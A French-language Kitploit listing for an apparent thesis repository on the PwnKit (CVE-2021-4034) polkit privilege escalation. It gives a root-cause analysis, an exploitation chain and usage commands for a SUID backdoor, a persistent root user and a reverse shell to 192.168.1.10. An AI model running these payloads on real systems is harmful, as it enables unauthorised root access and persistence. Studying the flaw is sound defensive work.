Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-4034 — Recherche de thèse de master sur CVE-2021-4034 (PwnKit) escalade de privilèges locale. Exploit Python à plusieurs charges avec 7 modes incluant shell interactif, backdoor SUID, reverse shell, et création d'utilisateur root. Inclut analyse de cause racine et documentation de la chaîne d'exploitation. | Kitploit
Outils/GitHubGitHub/devianntsec/cve-2021-4034
Escalade de PrivilègesCriminalistique MémoireAnalyse des VulnérabilitésExploitationPost-ExploitationTests d'IntrusionApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Recherche de thèse de master sur CVE-2021-4034 (PwnKit) escalade de privilèges locale. Exploit Python à plusieurs charges avec 7 modes incluant shell interactif, backdoor SUID, reverse shell, et création d'utilisateur root. Inclut analyse de cause racine et documentation de la chaîne d'exploitation.

Exploitation de Binaires
GitHubdevianntsec/cve-2021-4034

CVE-2021-4034

Voir le dépôt
164il y a 6 moisPas encore vérifié
Partager

CVE-2021-4034 — PwnKit Escalade de privilèges locale · Recherche de Mémoire de Master

Platform Language License: MIT Research CVSS

Vulnérabilité de corruption mémoire dans l'utilitaire pkexec de polkit
Escalade de privilèges locale → root via écriture hors limites
Affecté : polkit 0.105-31 et versions antérieures · Correctif : polkit 0.105-33 (janvier 2022)


Shell racine interactif obtenu via CVE-2021-4034 – PwnKit

Description

Ce dépôt contient mes recherches de Mémoire de Master sur CVE-2021-4034, une vulnérabilité de Escalade de privilèges locale de sévérité élevée (CVSS 7.8) dans l'utilitaire pkexec de polkit, communément appelée PwnKit.

La vulnérabilité provient d'une écriture hors limites dans la logique de traitement des arguments de pkexec. Lorsque pkexec est exécuté avec un argv vide ou manipulé, il lit et écrit au‑delà des bornes du tableau argv dans le tableau envp, ce qui permet à un utilisateur local non privilégié d'injecter des variables d'environnement malveillantes qui sont ensuite chargées comme bibliothèque partagée, exécutant du code arbitraire avec les privilèges root.

Ma contribution

AspectDescription
Exploit multi‑charge utileWrapper Python avec 6 modes de charge utile incluant shell, id, porte dérobée et shell inverse
Configuration automatisée de l'environnementConstruction automatique de GCONV_PATH et configuration de gconv-modules
Modules post‑exploitationPorte dérobée SUID, création d'utilisateur root et exécution de commande personnalisée
Documentation académiqueAnalyse de la cause racine, chaîne d'exploitation et chronologie de la vulnérabilité

Structure du dépôt

CVE-2021-4034/
├── README.md                        # Ce fichier
├── LICENSE                          # Licence MIT
│
├── exploit/
│   └── pwnkit.py                    # Exploit avancé avec charges utiles multiples
│
└── docs/
    ├── screenshots/                 # Démonstrations d'exploitation
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # Analyse de la cause racine de la vulnérabilité
        ├── 02-exploitation-chain.md # Décomposition de la chaîne d'exploitation
        └── 03-timeline.md           # Chronologie de la CVE

Démarrage rapide

Prérequis

  • Système Linux avec polkit vulnérable (pkexec --version affiche 0.105 ou antérieur)
  • Compilateur GCC (apt install gcc)
  • Python 3.6+
  • Compte utilisateur standard (root non requis)
  • VM isolée recommandée pour les tests

Utilisation

# Shell racine interactif (par défaut)
python3 exploit/pwnkit.py -p shell

# Vérifier le contexte d'exécution
python3 exploit/pwnkit.py -p whoami

# Exécuter une commande personnalisée en tant que root
python3 exploit/pwnkit.py -p custom -c "id"

# Créer une porte dérobée SUID dans /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid

# Ajouter un utilisateur root persistant
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword

# Shell inverse
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

Référence des charges utiles

Charge utileDescriptionSortie
shellLance un /bin/sh interactif en tant que rootShell interactif
idÉcrit la sortie de id et whoami dans /tmp/pwnkit_id.txtFichier
whoamiÉcrit la vérification UID/eUID dans /tmp/pwnkit_root_testFichier
backdoor_suidCrée une copie SUID root de bash dans /tmp/.shPorte dérobée persistante
add_root_userAjoute un utilisateur personnalisé à /etc/passwdAccès persistant
reverse_shellSe connecte en retour à l'attaquant via PythonShell distant
customExécute n'importe quelle commande en tant que rootStdout / fichier

Aperçu technique

Cause racine de la vulnérabilité

pkexec traite son propre argv pour localiser le programme à exécuter. Lorsqu'il est invoqué avec argc == 0 (vecteur d'arguments vide), la vérification des bornes sur argv échoue silencieusement. La lecture hors limites qui s'ensuit traite envp[0] comme argv[1], et l'écriture hors limites dans envp permet à un attaquant de remplacer une variable d'environnement par un chemin manipulé. Lorsque pkexec appelle ensuite g_printerr(), il charge GCONV_PATH depuis l'environnement désormais contrôlé par l'attaquant, chargeant une bibliothèque partagée fournie par l'attaquant avec les privilèges root.

argc == 0  →  argv[1] lit envp[0]
             argv[1] = "GCONV_PATH=."  (écrit dans envp)
             pkexec charge ./pwnkit.so  (bibliothèque partagée contrôlée par l'attaquant)
             gconv_init() s'exécute en tant que root

Chaîne d'exploitation

1. Fabriquer argv = { NULL }  →  argc = 0, déclenche un accès hors limites
2. Définir envp[0] = "pwnkit.so:."
3. Définir envp[1] = "PATH=GCONV_PATH=."
4. pkexec écrit hors limites "pwnkit.so:." dans envp[0] comme s'il s'agissait de argv[1]
5. pkexec résout GCONV_PATH=. et charge gconv-modules
6. gconv-modules associe le jeu de caractères "PWNKIT" à pwnkit.so
7. pwnkit.so:gconv_init() est appelée avec les privilèges root
8. La charge utile s'exécute (shell / porte dérobée / shell inverse / etc.)

Détails techniques clés

ComposantValeurNotes
Binaire vulnérable/usr/bin/pkexecSUID root
Condition de déclenchementargc == 0argv vide
Primitif d'écritureÉcriture hors limites dans envpVia argv[argc-1]
Mécanisme de chargementGCONV_PATH + gconv-modulesiconv standard de glibc
Contexte d'exécutiongconv_init() dans la bibliothèque partagéeS'exécute avec EUID 0
Versions affectéespolkit ≤ 0.105-31Toutes les principales distributions Linux

Démonstrations

Shell racine interactif

Shell interactif

Vérification d'identité

Charge utile ID

Vérification Whoami

Charge utile Whoami

Porte dérobée SUID

Charge utile Porte dérobée

Ajout d'utilisateur root

Ajout d'utilisateur root

Shell inverse

Shell inverse

Télécharger l’outil